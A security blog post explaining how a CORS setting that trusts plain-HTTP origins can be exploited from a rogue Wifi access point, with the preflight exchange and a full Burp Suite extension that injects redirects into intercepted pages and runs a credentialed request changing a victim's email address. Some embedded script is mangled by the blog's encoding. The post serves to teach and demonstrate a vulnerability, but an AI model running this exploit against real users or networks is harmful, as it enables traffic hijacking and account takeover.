I thought of a way to make this blog a little bit more active than one post every 4 years. And I thought I will stick to my old mantra of “it doesn’t always have to be ultra l33t hacks”, sometimes it’s enough to have a cool example or Proof of Concept. So here we are.
Burp Suite Pro is able to find various different security issues with its active scanner, one of them being “Cross-origin resource sharing: unencrypted origin trusted”. This means nothing else, than a website allowing CORS being used from an http:// origin.
Or in other words, the vulnerable website responds with Access-Control-Allow-Origin: http://anything
and when I say anything, I mean anything. Let’s assume this “anything” is vulnerable.example.org (IMPERSONATED_DOMAIN) for the upcoming examples. And let’s assume the attacked domain returning the CORS header is api.vulnerable.example.org (ATTACKED_DOMAIN). These CORS setting are security issue, because attackers that know of this issue can exploit it. But how?
The setup isn’t the most simple one, as it requires a Machine-In-The-Middle position (MITM) to exploit and you need to find an IMPERSONATED_DOMAIN that uses no HSTS (or the browser has not received the HSTS yet, which is likely if many exotic origins are allowed).
We often configure demo setups during a security analysis. For this example by using Burp Suite Pro in transparent proxy mode on a laptop which creates a Wifi access point and using some iptables rules. The iptables rules make sure that only HTTP traffic on TCP port 80 (but not HTTPS) is redirected to Burp, while HTTPS on port 443 is passed-through. What can we achieve with this setup and the CORS misconfiguration?
- User connects to the malicious Wifi access point (free Wifi!), so we gain a MITM-position
- User opens his browser, types any website in the address bar (that hasn’t HSTS). Let’s assume it’s
completely-unrelated.example.org
- The browser automatically tries port 80 first on
completely-unrelated.example.org
- iptables redirects the port 80 traffic to Burp. In Burp we run a special extension (see below).
- Burp injects an iframe or redirects to the vulnerable.example.org (IMPERSONATED_DOMAIN). Notice that the attacker can fully control which domain to impersonate.
- The browser loads the iframe or follows the redirect
- Burp sees that the browser is requesting vulnerable.example.org (IMPERSONATED_DOMAIN) and instead of returning the real content, sends back an attacker chosen HTML payload
- The HTML payload runs in the vulnerable.example.org (IMPERSONATED_DOMAIN) context and uses JavaScript to send requests to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
- The browser decides to send a CORS preflight request from the origin http://vulnerable.example.org (IMPERSONATED_DOMAIN) to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
- api.vulnerable.example.org (ATTACKED_DOMAIN) allows CORS access for http://vulnerable.example.org (IMPERSONATED_DOMAIN)
- Whatever action that the attacker chosen payload should do is executed, as the CORS setting allow it
To make this a little bit more clear to you, the CORS preflight will be something like:
OPTIONS /preferences/email HTTP/1.1 Host: ATTACKED_DOMAIN User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Origin: http://IMPERSONATED_DOMAIN Access-Control-Request-Method: PUT Access-Control-Request-Headers: Content-Type
And the response from the vulnerable server will be similar to:
HTTP/1.1 204 No Content Date: Mon, 01 Dec 2008 01:15:39 GMT Access-Control-Allow-Origin: http://IMPERSONATED_DOMAIN Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Credentials: true
Now the only piece that we need to create such an attack is that Burp extension. So here we go, this is an example where we assume the exploit we do is change the email in the user preferences:
ATTACKED_DOMAIN = "api.vulnerable.example.org" # This is the attacked domain, the one where the CORS headers are returned IMPERSONATED_DOMAIN = "vulnerable.example.org" # This is the domain in the HTTP URL which is allowed to use CORS (domain returned in the CORS header) USE_IFRAME = False # Either hard-redirect all HTTP traffic via meta tag or use a 1x1 pixel iframe ATTACK_CODE = """ //Change email var req2 = new XMLHttpRequest(); req2.onload = reqListener; req2.open('PUT', 'https://""" + ATTACKED_DOMAIN + """/preferences/email', true); req2.setRequestHeader('Content-Type', 'application/json'); req2.withCredentials = true; req2.send(JSON.stringify({"emailAddress":"attacker@example.org"})); """ # This is the code you want to execute as the impersonated domain. This demonstrates the issue by changing the email in the preferences (via an HTTPS request): # PUT /preferences/email HTTP/1.1 # Host: ATTACKED_DOMAIN # Content-Type: application/json # Content-Length: 39 # # {"emailAddress":"attacker@example.org"} # End configuration import re import urllib from burp import IBurpExtender from burp import IHttpListener from burp import IHttpService class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): print "Extension loaded!" self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName("CORS non-TLS PoC") callbacks.registerHttpListener(self) self._end_head_regex = re.compile("</head>\s*<body.*?>") self._iframe_url = "http://" + IMPERSONATED_DOMAIN + ":80/" print "Extension registered!" def processHttpMessage(self, toolFlag, messageIsRequest, baseRequestResponse): iRequest = self._helpers.analyzeRequest(baseRequestResponse) if not messageIsRequest: print str(iRequest.getUrl()) if str(iRequest.getUrl()) == self._iframe_url: # If it is a domain we want to attack, respond with the CORS payload print "Part 2: Found a request that has {} as its URL... inject CORS payload".format(IMPERSONATED_DOMAIN) body = """<html><body> <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%0A%20%20%20%20%20%20%20%20%09%09%09%20%20%20%20function%20exploit()%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09function%20reqListener()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Falert(this.responseText)%3B%20%2F%2FRemove%20comment%20for%20debugging%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%09%09%09%09%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%22%22%22%2BATTACK_CODE%2B%22%22%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09setInterval(exploit%2C%205000)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="<script>" title="<script>" /> </body></html>""" response = """HTTP/1.1 200 OK Date: Tue, 01 Jan 1970 08:42:42 GMT Server: Floyds CORS Exploiter Server Connection: close Content-Type: text/html Content-Length: {} {}""".format(len(body), body) baseRequestResponse.setResponse(ps2jb(response)) elif not IMPERSONATED_DOMAIN in str(iRequest.getUrl()): # In responses we inject an iframe, only in requests that are not already to IMPERSONATED_DOMAIN print "Part 1: Intercepted request... inject iframe to trusted domain {}".format(IMPERSONATED_DOMAIN) response = jb2ps(baseRequestResponse.getResponse()) if self._end_head_regex.search(response): print "Found a matching HTML page that has the </head> and <body ...> in it." iResponse = self._helpers.analyzeResponse(baseRequestResponse.getResponse()) header, body = response[:iResponse.getBodyOffset()], response[iResponse.getBodyOffset():] if USE_IFRAME: body = re.sub(self._end_head_regex, '\g<0><iframe src="{}" style="display:none;" width="1px" height="1px"></iframe>'.format(self._iframe_url), body) else: body = re.sub(self._end_head_regex, '<meta http-equiv="refresh" content="0; url={}">\g<0><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Ewindow.location.href%20%3D%20%22%7B%7D%22%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="<script>" title="<script>" />'.format(self._iframe_url, self._iframe_url), body) header = fix_content_length(header, len(body), "\r\n") baseRequestResponse.setResponse(header + body) def fix_content_length(headers, length, newline): h = list(headers.split(newline)) for index, x in enumerate(h): if "content-length:" == x[:len("content-length:")].lower(): h[index] = x[:len("content-length:")] + " " + str(length) return newline.join(h) else: print "WARNING: Couldn't find Content-Length header in request, simply adding this header" h.insert(1, "Content-Length: " + str(length)) return newline.join(h) def jb2ps(arr): return ''.join(map(lambda x: chr(x % 256), arr)) def ps2jb(arr): return [ord(x) if ord(x) < 128 else ord(x) - 256 for x in arr]
If you want to read more about Burp extensions, also checkout Pentagrid’s blog where I blog most of the time nowadays.